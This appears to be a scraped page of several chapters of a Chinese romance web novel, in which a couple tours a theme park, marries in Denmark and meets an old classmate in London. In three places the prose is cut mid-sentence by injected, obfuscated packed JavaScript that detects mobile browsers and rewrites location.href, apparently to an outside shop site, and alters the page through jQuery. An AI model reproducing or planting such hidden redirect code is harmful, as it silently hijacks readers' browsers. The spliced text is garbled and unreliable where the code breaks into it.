眼前转着的,不是轨道,是一圈圈旋转木马。 迟铎站在原地,沉默三秒。 “你刚说的那些呢。” 工作人员的职业微笑纹丝不动:“那些都很好,不过按计划表,第一站是旋转木马。夜场灯光很出片。” 迟铎:“……” 出片。 他恨不得当场把围巾往旁边那男人脖子上一绕,直接出一部杀人片。 可惜不给坐云霄飞车,他面前只有旋转木马。 不然他今天高低得黑化成柯南里的小黑。 “你包场。”迟铎压低声音,一字一顿,“带我玩这个?” 裴与驰很淡:“先坐这个。” 迟铎:“为什么?” 裴与驰:“不刺激。” 迟铎:“那刺激的什么时候。” 裴与驰假把式看了眼表,“下次。” 迟铎:“……” 他真的要被气死了。 “我不坐。”迟铎很有骨气。 “也可以回去。”裴与驰提醒,“早点睡。” 迟铎沉默两秒,最终还是败给早睡这两个字。 他磨了磨牙,认命地走向那匹最高的白马。 皮裤、银链、冷脸,配上粉色灯光,违和得像 MK 仔误入芭比梦工厂。 迟铎坐上去,双手抱胸,面无表情。心想还不如回去胎教零元购。 音乐响起,木马缓缓转动,彩虹灯在水晶柱上折射,BGM 甜得发齁。 转到第二圈,身后的人忽然伸手,从后揽住他的腰,轻轻往后一带。迟铎后背贴上对方胸口,呼吸一滞。裴与驰的声音落在他耳后,很低:“别掉下去。”迟铎耳尖发烫,嘴上还是那副拽样:“我用你扶?” “不是扶你。” 裴与驰的手没松,扣在他腰侧,像给人固定重心。 “我是让你习惯。” 迟铎一愣。 “以后你会经常来这种地方。” “等他出生,在长到一米二之前,” “你也只能陪他玩这些。” 他语气很冷静,像只是在陈述一条确定会发生的事实。 “你得在旁边看着他笑。” “我得扶着他,免得他掉下去。” 最后还补了一句: “准妈妈。” 迟铎:“……” 他差点当场从木马上跳下去。 “你再叫一遍,”他冷着脸,“今晚别进主卧。” 裴与驰手臂一收,把人稳稳扣回怀里。 “别掉下去。” “你现在摔一下,后面的项目,就得全删。” 迟铎:“什么项目?” “旋转杯、小火车,童话剧场。” 迟铎:“……” 还不如掉下去。 这是幼儿园春游来了? 音乐结束,裴与驰自然地牵起他的手,往下一个项目走。 迟铎低头看了一眼被牵的手,又抬头瞪了裴与驰一眼。 裴与驰:“走。” 迟铎:“……” 他明明想甩开,脚却还是跟上了。 一言难尽。 以后连快乐,都要按身高线来。 两个人坐在剧院里,看童话话剧。 迟铎今天一身黑:黑色渔夫帽、口罩、墨镜,黑色棉衣配皮裤,银色粗链垂在腿侧,帅得嚣张。 唯一不属于他的,是脖子上那条大围巾。 出门前裴与驰硬给他绕了两圈。迟铎当时挣了一下:“我不冷。”下一秒就被捏住脸颊,要求听话。 裴与驰今天也是一身黑:黑大衣、黑高领、黑裤、黑靴。 帅是帅的,就是看起来随时能从口袋里掏出小弹簧刀,抹人小脖子。 两个人坐在童话剧场,像是来给卡通人物开追悼会。 台上小动物跳出来唱歌的时候,迟铎两眼一黑。 他硬着头皮继续看,脑子里循环播放那本《孕妈妈睡前胎教故事》的封面字。 行。睡前故事。 迟铎面无表情地鼓了两下掌。 他压低声音:“这算什么胎教?这叫精神污染。” 裴与驰目不斜视:“你要先适应。” 迟铎:“适应什么?” 裴与驰:“以后他会让你看第二遍、第三遍。” 迟铎:“……” 裴与驰再补一刀:“还会一直缠着你,问为什么兔子哭了。” 绝杀。 剧院灯光亮起,散场。 迟铎揉了揉眼睛,坐直身子,才意识到自己不知什么时候歪在了裴与驰肩上,口罩歪到一边,嘴角还有点可疑的湿意。 他瞬间清醒,低头一看,旁边那位的大衣内衬果然遭了殃。 耳根烧得厉害,他迅速把口罩拉好,小声:“……你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952088|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不叫醒我。” 裴与驰收回手臂,语气习以为常:“睡得挺沉。” 迟铎:“……” 他飞快用围巾蹭了蹭嘴角,假装若无其事起身。 门口工作人员等着,推着两只玩偶。王子、公主,礼服亮得能反光,毛绒绒地冲他们挥手。 迟铎眉心一跳:“不用了。” 王子玩偶嗓音甜得过分:“帅哥~来抱一下嘛~夜场专属合照,超出片的~” 迟铎往后退了半步,语气冷淡:“真不用。” 哥斯拉和奥特曼还行,这俩别来沾边。 裴与驰忽然抬手,示意他们靠近。迟铎一愣,还没反应过来,腰已经被揽住,被人往怀里带了带。 “拍一张。”裴与驰说。 工作人员眼睛一亮,赶紧举相机。 咔嚓。 照片里,童话城堡的灯光梦幻得像开了滤镜。迟铎被半揽在怀里,全副武装,看不见表情;裴与驰一身黑,冷着脸,揽人的手却扣得极紧,手掌还挡在他小腹前。旁边两只玩偶举着爱心手势。违和得离谱。 迟铎事后看到照片,沉默两秒,只挤出一句:“删了。” 这张照片的主角像浴血□□爱上旺角仔,背景却是甜到发腻的可爱童话。 看着不叫丑陋,叫非法拼接。 裴与驰把手机收进口袋: “留着。” “以后给孩子看。” 迟铎:“……” 这倒霉孩子还没出生,未来就已经被辣眼睛预订了。 他忍了忍,还是没忍住,低声补刀: “……行吧,小东西,算你倒霉,落我俩手里了。” 最后一个项目,摩天轮。 舱门关上,整座乐园和城市的夜景缓缓铺开,灯光细碎,像撒了一把碎钻。 迟铎靠着玻璃,双手插兜,懒懒开口:“坐这个干嘛,小朋友能坐这吗?。” 裴与驰站在他身后,没说话。 迟铎等了几秒,没动静,回头:“哑巴了?” 下一秒,后腰被扣住。 整个人被轻转过去,背抵上冰凉的玻璃。 裴与驰俯身,单手撑在他耳侧,声音低得近乎耳语:“现在呢?” 万家灯火在身后铺开,映得他眼底深得惊人。 迟铎喉结动了动,腿有点发软,嘴还不肯认输:“……壁咚是我玩剩的。” 裴与驰低笑一声,拇指擦过他下唇,吻便落了下来。不轻不重,却深得让人喘不过气,带着淡淡的木质冷香。迟铎象征性推了一下,没两秒就勾住对方脖子,微微踮脚往上凑。 舱体升到最高点,短暂停顿,整座城市安静地躺在脚下,像只属于他们的秘密王国。 吻结束时,迟铎额头抵在裴与驰肩上,声音低哑:“……你故意的。” 裴与驰拨开他额前的碎发,语气平静:“嗯。” “满足你想要刺激” 啧。 摩天轮都算刺激了。 迟铎轻嗤一声,没再说话,只把脸埋进他颈窝,把围巾蹭得乱七八糟。 回家已经快十一点。 迟铎洗完澡出来,头发还在滴水,水珠顺着发梢往下掉,在锁骨处停了一下。 房间里只开了床头灯,光线很暖。 裴与驰靠在床头,黑色 T 恤随意套着,手里拿着 Kindle 在翻,神情很放松。 迟铎走近,低头扫了一眼屏幕。 标题明晃晃的《准爸爸睡前胎教故事》。 迟铎:“……” 他沉默了两秒,才开口:“王平柔从哪找的这种东西。” 停了一下,又补一句:“她是不是有病。” 裴与驰这才抬眼,看了他一眼:“先擦干。” 话音刚落,毛巾已经被抽走,按在他头上,动作不重,却不容拒绝。 迟铎象征性偏了下头,没躲开。 裴与驰把 Kindle 放到一边,拍了拍枕头旁的位置。 “躺好。” 迟铎犹豫了一秒,还是乖乖躺平,把被子拉到下巴,只露出一双眼,凶也凶得不太有气势。 裴与驰重新翻回页面,开始念。 声音低缓,咬字很稳。 “小兔子坐上热气球,飞呀飞,飞到了云朵上面……” 迟铎本来还想吐槽他语调和内容各念各的。 听了两句,又闭了嘴。 他盯着天花板,眼皮却不太争气地往下坠。 裴与驰的手落在他小腹上,隔着薄薄一层睡衣,动作很轻,像是在顺什么。 声音贴着耳侧,不急不缓。 迟铎最终还是没撑住,呼吸一点点放慢。 意识模糊前,他听见那道声音低低落下来, “晚安。” 胎教对肚子里的孩子有没有用,难说。 但对迟铎挺有用的。 因为准爸爸的声音,比任何睡前故事都好听。 下次胎教,就让他多读点。 26.欧洲 凌晨四点。 裴与驰站在床边没说话,只垂眼看着他。 迟铎头发乱的翘着,半张脸埋在枕头里,装死。床垫一陷,裴与驰俯身,手已经从他腰后探进来,像下一秒就要把他连人带被子一起端走。 迟铎立刻坐起来:“行行行,我起。” 裴与驰把衣服丢到他怀里,语气冷淡:“自己穿。” 迟铎:“……” 他低头看了一眼,衣服选得很帅。 迟铎决定先忍这一口气。 他游魂一样地飘进浴室,刷牙洗脸,冷水拍下去,神魂才归位。出来的时候,客厅灯没开全,但已经很热闹。 佣人端了杯水过来,温度刚好。托盘里还有叶酸和一堆搭配好的营养品。迟铎扫了一眼,没说什么,顺手全吞了。 毕竟他有幸体验过裴总亲自上手喂的版本,尺度堪比拍片,还是□□高清那种。 裴与驰的助理站在一旁,西装革履,神采奕奕。营养师语气温和:“今天早上先这样。上机后半小时可以再补一粒。落地前我会提醒你喝水” 迟铎点头:“行。” 裴与驰的助理把文件袋放到桌上,语速不快,条理清晰:“护照、签证材料、行程单、保险、医院回函,备用复印件在第二层。到欧洲后接机车已对接,联系人在最后一页。” 迟铎听着,脑子里莫名冒出一个念头:他真想把李浩介绍给对方认识。 跟着他俩混的助理,也算倒霉在一块了。互相认识一下,至少能组个互助会。 他把那点缺德想法收回去,面无表情地点头:“行。” 看了眼表,又补了一句:“谢谢。” 助理明显怔了一下,很快恢复职业表情:“不客气,迟先生。” 裴与驰这才从书房出来。 迟铎抬眼:“几点走?” 助理还没开口,裴与驰已经道:“现在。” 门一开,冷风灌进来。迟铎刚抬了下帽檐,下一秒就被按回去。 他偏头看人。裴与驰没说话,只一个眼神:别抬头。 迟铎:“……” 行。 他把帽檐压低,继续扮演马特·达蒙。 下楼的时候,营养师和助理推着箱子走在前面,轮子滚过地面,声音很轻。 车门拉开,迟铎刚坐进去,手机震了一下。 王平柔的语音一条接一条蹦出来: “到机场回我。 落地回我。 别装死。 还有,口罩墨镜帽子别摘。” 迟铎只回了两个字:知道。 再这样下去,他觉得自己以后可以无缝进组谍战片。 车没走航站楼,拐进另一条入口,安静得像专用通道。一路没停,直接开到一栋小楼前。 核对名单,放行。里面空荡荡的,没有广播,也没有人群。 手续很快。助理把文件袋递过去,对方扫一眼又还回来。裴与驰签了名,笔一落,事情就算定了。 外门一开,风更大。停机坪灯光把机身照得发亮,一架公务机停在那里,舷梯已经放好。乘务员站在门口:“裴先生,欢迎登机。” 裴与驰点了下头,扣住迟铎的手腕,把人带上舷梯。 机舱安静,灯光柔和。 桌上已经摆好水杯、小托盘、叶酸和营养品,旁边压着一张便签,时间点写得很清楚。迟铎扫了一眼,脚步都没停,心里已经开始追忆往昔,当年文学课真不该偷懒。普希金那首什么来着,挺适合现在念给裴与驰听。 他还在脑子里找诗名,机舱里忽然亮了一盏柔灯。 乘务员走过来,声音压低:“迟先生,后舱已经整理好。您现在休息吗?” 迟铎还没想好,裴与驰已经扣住他手腕,起身把人带走。 舱门推开,是一个宽敞的卧室,衣帽间和浴室一应俱全。床铺已经铺好,枕头靠得很正,被子叠得规矩,空气里是家里常用的香氛。 迟铎站了两秒。 普希金那首,也懒得找了。 他走过去,坐下,躺平。裴与驰把床边那盏灯调暗一点,手指从他肩侧掠过,把被角拉到他腰上。 行吧。 幸好当年文学课偷懒。 不然真念出来,八成又要后悔。 迟铎就这么一路睡睡醒醒到了丹麦。半梦半醒间,偶尔听见前舱压低的通话声,断断续续的,语气是熟悉的强势,害他做梦都在回放以前看过的《华尔街之狼》。 下飞机前,迟铎唯一的遗憾是,明明四个人,居然没把麻将室用上。 到酒店的时候天已经黑透。 电梯无声上行,门一开,是铺满地毯的走廊,安静得像把时差也一起关进来了。套房很大,窗外灯光一层层铺开,陌生得刚好。 迟铎洗完澡出来,头发随便擦了两下,整个人松下来,才发现困意根本没跟着落地。他躺上床,翻了个身,又翻了一次,再翻,枕头都快被他揉出脾气。睡不着。 他盯着天花板两秒,确定他的灵魂还在飞机上飘着,身体到了,生物钟还在路上。 客厅那边很安静。裴与驰在回消息,没开免提,偶尔低声回一句。营养师已经把第二天的补剂按时间摆好,动作轻得像怕惊动人。 迟铎又翻了半圈,终于坐起来。他光脚踩在地毯上,走到客厅门口,开口:“我想出去走走。” 裴与驰抬眼,没问原因,只看了眼时间:“现在?” 电梯下到大堂,夜里人不多,外面下起了雨。 助理跟下来,递了两把伞。 迟铎一脚踏出门,冷风夹着潮气扑脸,清醒了些。 雨不大,但细,灯光一照,像一根根碎线。 一人一把黑伞,好像又回到了英国。 那时候下雨是常态,超市随便买把伞,冬天风一吹,不出五分钟,只剩骨架。 迟铎后来当机立断买了两把Alexander McQueen。 说是质量好,其实就是骷髅头伞柄配黑色太炫酷,他早就看上了,到手就下单。 伞到货那天,他很有牺牲精神地把那把带皇冠、满钻的最炫骷髅头让给裴与驰,准确点说,是硬塞。自己则拿了莫西干骷髅头那把,满意得像抢到限定皮肤。 裴与驰当时的表情,很难形容。迟铎现在想起来,都能复刻出来。 想到这儿,他忽然开口:“我想买伞。” 裴与驰:“……” 显然也想起了那段痛苦经历。 迟铎看着他一言难尽的表情,没忍住笑了一声。 雨声很轻,伞下也很安静。 他忽然意识到,他们之间这种事多得离谱。 多到生活里随便一件小东西,都能不讲道理地触发回忆。 而且总是一前一后。 他刚想起那把骷髅头伞,裴与驰下一秒就懂了。 都没刻意记,但就是没忘。 他以前没认真想过,如果当初没走到一起,而是各自跟别人,这些东西会去哪? 不会去哪,也就是被他一股脑塞进抽屉最深处,假装已经忘记。 可他一点都不洒脱,至少在裴与驰这件事上,从来没有。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954507|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他还没来得及把这点乱七八糟的念头收好,前方拐角的灯就亮了。 暖黄色。 玻璃橱窗里摆着小小的鞋、软软的毯子,还有一排婴儿车,什么颜色都有。 母婴店,已经打烊。 迟铎脚步顿了一下,他本能想装作没看见,视线却还是很诚实地扫过去,停在一辆迷你推车上。小小的,圆圆的,像能直接把人心口撞软。 不是如果没有在一起。是以后他们的共同回忆里,会多一个人。 裴与驰也看了一眼,没说话,只是牵起迟铎的手。 迟铎站在玻璃前,隔着雨丝盯着橱窗的东西,心里难得安静了两秒。 但心里那点刚冒头的多愁善感,还没来得及继续发酵,下一秒现实就把他拽回来了。身后有人擦着伞边过去,动作快得像一阵风,迟铎只觉得口袋被轻轻蹭了一下,轻到像错觉。 他下意识摸了摸外套口袋,空的。 迟铎:“……” 他又摸了一遍。 迟铎抬头,语气很平静:“我钱包没了。” 裴与驰表情没变,视线扫过人群方向,手却很自然地伸进自己大衣内侧。 摸了个空。 两秒后,裴与驰抬眼。 迟铎和他对视了一下。 迟铎:“……” 裴与驰:“……” 雨声在伞面上噼里啪啦,安静得离谱。 迟铎先开口,声音很淡:“你也没了?” 裴与驰:“嗯。” 迟铎笑了一下,笑得很短:“行,人在路边走,哪有不湿鞋” 他甚至还有闲心想,自己居然是因为母婴店,栽了这一回。 裴与驰没接他的梗,低头在手机上发着消息。不一会儿,助理已经快步跟上来:“裴总,我立刻联系安保、调监控。报警我来处理。卡我这边先冻结。” 裴与驰点头。 雨还在下,助理在收拾残局。 迟铎站在原地,视线却又飘回橱窗里那辆婴儿车上。 他看了一秒,很快移开,冷静地下了个结论: “母婴店打烊挺好。” 裴与驰侧过头:“为什么?” “不然我今天就要丢第三个东西。”迟铎说。 他顿了顿,又补一句: “要是我们之前进去,五分钟后,就得从收银台落荒而逃。” 丢面子这件事,比丢钱包还让迟铎难以接受。 他停了一下。 “而且现在这样也挺好。”他说。 裴与驰侧目。 目光在他脸上停了一瞬,像是在重新确认什么。 “好在哪?” 迟铎想了想,语气难得认真了一点:“至少不是我一个人倒霉。” 他又补了一句,像是顺着这个逻辑往前推了一步:“证明我们俩,没谁拖后腿。” 说完,他肩膀轻轻碰了碰裴与驰,动作很自然,像很多年前在学校里那样。 裴与驰:“……” 他明显有话想说,最后还是咽了回去。只是伸手牵住迟铎,带着他往回走。 雨夜很快被甩在身后。 回到酒店,灯一亮,陌生的空间把人按回现实。 倒时差的代价不小。 但在尝过被偷这个本地特产之后,迟铎终于确认了一件事,他是真的到了欧洲。而且这趟行程的紧迫性,也比他原本想的要高一点。 算起来,肚子里的小海马,现在连个合法身份都没有。他们要做的,也不过是把一段早就开始的关系,顺手补个手续。 27.誓言 飞机上睡得昏天暗地,落地后又被时差和特产轮流消耗。 早上十点,迟铎醒来的第一反应是,要不再缓两天吧。他躺在床上盯着天花板看了三秒,认真评估这件事的可行性,结论是理论上可行,现实不允许。 小海马这边,反正已经黑了三个多月了,再多黑一段时间,问题不大。但昨晚助理那句“市政厅最近预约太满,再错过要排两个月”,成功让这一天变得不容商量。 迟铎:“……” 他现在才三个多月。这一趟裴与驰已经快“天凉医院破”了,真要拖到五六个月再来一次,迟铎合理怀疑,明德医院的主任就不是祥林嫂了,而是直接跳过倾诉阶段,当场转职小白菜喊冤。 他脸皮不薄,但也确实还没厚到能承担这种医患关系压力。 于是他认命起床,顺便苦中作乐地想,虽然裴与驰把专家们折腾得够呛,但至少到了这边,好像还没折腾到他。 这个念头刚落地,他一推门,就看见房间里多了个外国医生。 迟铎:“……” 简单检查结束后,对方动作熟练地开始准备点滴。针头扎进手背那一刻,迟铎面无表情地问:“这是在干嘛?” 助理立刻接话:“营养针。” 迟铎偏头,一字一顿:“裴、与、驰。” 老板大名被点出来,助理瞬间意识到自己抢答了,十分自觉地后撤半步,把空间让出来。 裴与驰语气平稳:“正常流程。”停了一下,又补充,“之后也会这样,不然我不放心。” 迟铎在心里把“夸张”两个字完整拼了一遍,又删掉。要不是有外人在,他觉得自己能表演个锁喉证明很健康。 是怀了,又不是要死了。 算了。中国人讲究来都来了,现在扎都扎了,再争论流程合理性,显得他有点事后诸葛亮。 门被敲响,助理去开门,很快回来,手里多了个托盘,一杯热巧克力,一份草莓挞。迟铎低头看了一眼。 这家酒店的甜点主厨本来就很出名,以前两人来旅游,他没少吃。但他被严格控糖有一段时间了,三餐和加餐全交给营养师,吃什么、吃多少、几点吃,全都有人管,管得他生无可恋。 最后一次拍摄结束,他没忍住,让李浩买了一堆乱七八糟的东西,买来就吃,吃得很爽。那天晚上他不想多说,裴与驰是行动派,上面的嘴不配合也没关系,总有别的地方会配合。从那以后他就老实了,一切听从安排。 现在突然放行,显然是经过深思熟虑的安抚方案。 他沉默两秒,接受了这次收买,毕竟木已成舟,而且真的好吃。 草莓挞入口,卡仕达酱融化在喉咙那一瞬间,他对世界的敌意明显下降了一个等级。 迟铎靠回沙发:“要打多久?赶得及吗?” 裴与驰看了眼时间:“来得及。” 又补了一句,“不会耽误你成为裴太太。” 迟铎:“……” 老子真的。 他差点认真思考了一下,小海马单亲成长的可行性。 他气得喝了一大口热巧克力,下一秒,裴与驰很自然地伸手,用拇指把他嘴角沾到的奶油和巧克力擦掉。 输液结束得比预期快。 医生拔针、贴纱布、叮嘱注意事项,助理核对时间后给出结论:“换好衣服出发,路上不堵的话,刚好。” 结婚这件事,和赶牛没什么本质区别,他是被赶着走的,还挺快。 助理把衣服送进来,是两套一模一样的黑色西装。迟铎当时没觉得有什么问题,直到换好站到镜子前,才发现不太对。 镜子里,两道身影并排站着,除了身高,几乎没有区分度。 他盯着看了几秒。以前没认真想过这种事,只是默认要是哪天结婚,伴郎一定就是对方,也会穿着这样的黑西装。 可现在他们穿成这样站在一起,怎么看都更像是本来该出席对方婚礼的 best man,一不小心,成了彼此的另一半。 车停在市政厅门口。 迟铎下车,看了一眼建筑,又看了一眼门口的牌子,不大,也不庄严,普普通通,看起来不像是专门用来决定人生大事的地方。他站在台阶下整理了一下袖口,问:“就这儿?” 裴与驰“嗯”了一声,说:“办完就走。” 然后他们真的办完就走了。 十五分钟,签字、确认、盖章,算上等号也不到半小时。 流程一气呵成,快得让人来不及酝酿任何情绪。 迟铎接过文件的时候,下意识掂了一下重量。 很轻。 轻到让人怀疑,前段时间所有的紧张、折腾和焦虑,是不是都稍微有点自作多情。 十五分钟,小海马从黑户,变成了合法继承人。 这效率要是放在别的事情上,他可能会感动一下,放在这件事上,只剩下一个评价,离谱。 他们走出市政厅,门在身后合上,声音不大,却很干脆。迟铎站在阳光里,忽然意识到,刚才那半个小时,大概会在他之后的人生里被反复提起,而他此刻的真实感受却是,有点轻,又有点不真实。 原来确认是否共度余生,要走那么多弯路。 而法律确认的时候,却这么快、这么轻。 像好不容易升级打怪打到最终关,结果Boss被一招放倒,站在原地的人反而有点懵,就这? 他们刚走下台阶,车已经停在路边。迟铎上车的时候,脑子里那点“已婚人士”的实感还没加载完成。 “还去哪儿?”他问。 “教堂。”裴与驰说。 迟铎停了一下,下意识抬手,隔着西装外套按了按内袋,指腹触到那点熟悉的硬度,便利索地弯腰上了车。 教堂比他想象中小,不是旅游手册上那种需要排队打卡的地标,台阶不高,门半开着。 迟铎站在原地看了两秒,心里给了一个公允的评价,挺低调,不像是用来搞大场面的地方,不过正好,很适合他们这种浪漫昙花一现的人。 他跟着裴与驰进去,脚步不自觉放轻。门在身后合上,外面的声音一下子被隔绝,空间骤然安静下来。 迟铎这才意识到,市政厅解决的是文件、条款和法律责任,而这里大概是给另一种东西走流程的,那种每天都得重复、但没人会特地庆祝的事。 牧师已经在等他们,流程被解释得很简短,确认双方是否自愿、是否清楚、是否愿意承担之后的责任,问题很普通,语气也不郑重。 迟铎听得很认真,不是因为紧张,而是因为这些话听起来过于贴近日常,像是在确认以后是不是还要继续一起吃饭、一起睡觉、一起面对那些没什么浪漫可言的事。 而这些事他们本来一直就在做。 轮到交换戒指的时候,迟铎心里那点荒谬感忽然清晰了一点,事情终于走到了他熟悉的节奏里。 他想起,自己今天大老远跑这一趟,大概就是为了这一刻。 裴与驰准备的结婚戒指,和那枚求婚用的粉钻风格南辕北辙。 白色男戒,没有钻,也没有多余的棱角,只是一圈很细的金属边在边缘压出均匀的小珠纹,简洁低调,品牌也很随大众,是Harry Winston。 看得出来,是深思熟虑后的安全选项,安全到像是在默认这东西要戴很久,顺便不动声色地给另一半一个参考答案。 迟铎看到戒指后顿了一瞬。 他当然看懂了。 但看懂,不代表要照着来。 他先把手伸过去,手背朝上,递到裴与驰面前。裴与驰拿起那枚Harry Winston,指腹在戒圈边缘的小珠纹上停了停,像在确认尺寸,又像是在确认某种既定事实。随后他抬起迟铎的无名指,把戒指稳稳推上去。 金属贴合的那一下很轻,像一句话落了地,说完就算数。 迟铎垂眼看了一眼,神色没变,像是对此早有预期。 下一秒,他才从西装内袋里掏出那个黑色麂皮袋。 袋子一打开,空气明显停了一下。 那枚戒指在灯下亮得极其嚣张。 金色,分量十足,大得几乎有点不讲道理,比起戒指,更像一枚扳指,或者说手指固定器。 克罗心,群墓葬,满钻K金。 戴上一秒加入葬爱家族,莪們4糖,甜到憂傷。 站在一旁的工作人员明显愣了一下,牧师的视线也短暂地停留了片刻,显然是被这少见的,别具一格的结婚戒指震住。 迟铎面色如常,仿佛这一切都在合理范围内。 没有人说话。 裴与驰看着迟铎递过来的那枚克罗心,脑海里几乎是同时闪过了那颗巨大的粉钻。 原来如此。 迟铎当然注意到了这一瞬的停顿。他没有催,也没有解释,只是把戒指往前递了递,态度坦然,像是在等一个早就预料到的结果。 裴与驰最终还是伸出手,把戒指接了过来,动作很稳,甚至没有犹豫,像是已经接受了这件事会发生。 迟铎握住他的指尖,把那枚金色的戒指往无名指上送。推到一半,分量压下来,存在感嚣张得离谱,连动作都被迫慢了一拍。 裴与驰的手指没有躲,只是顺着迟铎的力道微微抬起一点,配合得过分自然,像是在确认尺寸合不合适。 迟铎动作停了一瞬,抬眼看他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴与驰居然会信这个。信誓言,信一辈子,信这种听起来就不怎么靠谱的东西,甚至为了让誓言生效,连这么丑的戒指都愿意戴。 这个念头一冒出来,他就已经有点招架不住了。刚才还被他定义成昙花一现的浪漫,偏偏在这种时候冒头,一点道理都不讲。 丹麦的冬天忽然显得有点不合时宜,车里的暖气像是被人悄悄调高了一档。迟铎偏过头,看着窗外,耳根一点点热起来,慢慢蔓延到脖颈,甚至脸。 “……你怎么也买这款?” 他话题岔得很快,像是慢一秒,就会把刚才那点情绪暴露出来。 裴与驰想了想,答得很认真:“省事,日子会好过一点。” 迟铎:“……?” 这话在脑子里转了一圈,他的第一反应是谁敢让裴总日子不好过。 裴与驰侧头看了他一眼,像是察觉到他的困惑,又补了一句:“你可以理解成讨好。” 怕他没听懂,还很贴心地解释了一下:“毕竟happy wife,happy life。” 车里安静了下来。 暖气好像是有点太足了。迟铎靠在座椅里,忽然觉得车里的空气变得不太够用,连呼吸都慢了半拍。 ……早知道就不岔开了。 裴与驰显然没打算就这么放过他,语气依旧平静,又问了一句:“那你呢。” 迟铎沉默了两秒。 “他们 PR 做得比较好。” 好到他一搜婚戒,就能看到husband and wife的宣传软文。 裴与驰看了他一眼,没有追问,也没有拆穿,只是应了一声。 随后他伸手过来,扣住迟铎的指尖。迟铎几乎是顺势把手递过去的,连停顿都没有。 裴与驰把他的手往掌心里收了收,拇指指腹从他指节轻轻蹭过去,最后停在戒指边缘。 车里很安静。 只有那只手,被稳稳牵着。 本来各自买婚戒,是迟铎自己提的。 理由也很简单,惊喜,顺便还能小小地报复回来。 结果现在报复是报复到了,浪漫也一并不讲道理地砸了下来。 他靠在座椅里,没再动,只是任由那只手被牵着。 明明昨天已经觉得差不多到极限了,心跳这种东西,再怎么折腾,也就那样。 可这一刻它偏偏不听话。 跳得比刚才快了一点,又一点。 像是在提醒他,往后大概就是这样了。 明明每天见,明明已经牵过无数次手,心还是会为身边那个人重新跳一遍。 迟铎闭了下眼,又很快睁开。 行吧。 28.过去 人生大事完成,裴总终于拥有了签字权,对此显然十分满意。回国之前,两人决定再故地重游一下。 到伦敦的时候,旧友刚好也在附近。之前见父母那阵子,迟铎没少缠着这位新晋男装设计师参谋穿搭,于是干脆约在一家西班牙菜餐厅,顺便给助理和营养师放了一天假。 等迟铎到的时候,旧友已经落座。 “你和Bruce见完父母,结婚了。” 旧友看着他无名指上的戒指,很自然地下了结论,甚至不需要迟铎开口。 他回想起,上次迟铎突然急call自己,紧接着发来一堆过于正式的西装套装,问长辈会喜欢哪一款。他给了建议,又一时没忍住,多发了一条:你是要见Bruce的父母吗? 消息发出去没多久,他又把它撤回了。 不过那条消息本来也没显示已读。想也知道,迟铎一如既往地,脑子里大概只剩下裴与驰这一个人。 “说实话,”旧友又看了他一眼,语气很实在,“你俩结婚,比我想象中晚太多了。” 迟铎:“……” 二十四岁,已婚已育。 晚在哪?而且他怎么就知道他们一定会在一起?他知道中国法定年龄吗? 槽点太多,迟铎一时不知道该从哪一句开始反驳。 旧友却没再揪着这点不放,像是忽然想起什么,低声说:“其实当年我挺喜欢你的。” 没有铺垫,突如其来的一句话。不过语气很平静,看起来像在说别人的往事。 “我在伦艺读男装的时候,因为淘汰率太高,压力很大。” “你那几年够义气,每次我做大作业,都是你来免费当fitting model。” “很多次我想退学的时候,都是看着给你拍的照片找灵感,坚持下去的。” 迟铎张了张嘴,旧友却已经接着往下说。 “通宵、改版、赶deadline,你从来没跟我算过这些。” “那个时候我做的东西,总是一股Hedi的味道。” 他说到这儿,笑了一下。 “大家都以为他是我偶像,以为我的目标是进Dior Homme给他当助手。” “其实不是。” “我只是想做出你的样子。” “你喜欢的样子。” 他说完这句,停了一下,像是在犹豫要不要继续。 迟铎刚想开口,下一秒,脖子忽然被一阵热气烫了一下。 “来这么慢?” 裴与驰站在他身后,手里拎着一杯热奶茶。 迟铎语气理直气壮,活像在使唤仆人。 裴与驰看了他一眼,听出了这位的大爷口吻,手腕一转,作势要把奶茶收回去。 为了这杯,裴大少爷可是在街角老老实实排了一个小时的队。 “别,哥!我错了。”迟铎立刻投降。 裴与驰没忍住,伸手在他头上揉了两把。迟铎反手给了他一个象征性的锁喉,顺势把人揽过来,一手搭着他的肩,一手把奶茶接过来喝了一口。 温度刚好。 “无糖?”他皱了下眉。 裴与驰看着他没说话。 “……也好喝。” 迟铎慢吞吞地补完这句。 旧友站在旁边,看完这一整套流程,没再把刚才那句话说下去。 这个画面,他其实看了好多年。 有些话,好像到这里就够了。 他没继续说,迟铎也没顺着往下接。 他们是高中同学,人齐了,自然开始追忆往昔。说到裴与驰当年有多六边形的时候,旧友忽然想起一件事。 “说起来,还有件事。” 迟铎抬头:“什么。” “有次我们都已经到工作室了。”旧友说,“东西都摊开,你衣服也换了一半。” “你突然停下来,说裴与驰的教材在你这,他下午有seminar。” 迟铎一怔,下意识偏头看了裴与驰一眼。 “我当时随口说了一句,”旧友继续,“一个经济的seminar,没教材也不是什么大事。” “其实如果不是他。”旧友很肯定,“换别人,对你可能真无所谓。” 迟铎:“……” 旧友看着他,像是在回忆当年的画面。 “反正你直接开始换衣服、收东西,说一定要马上送过去。” “我当时问你一句,有必要吗。” 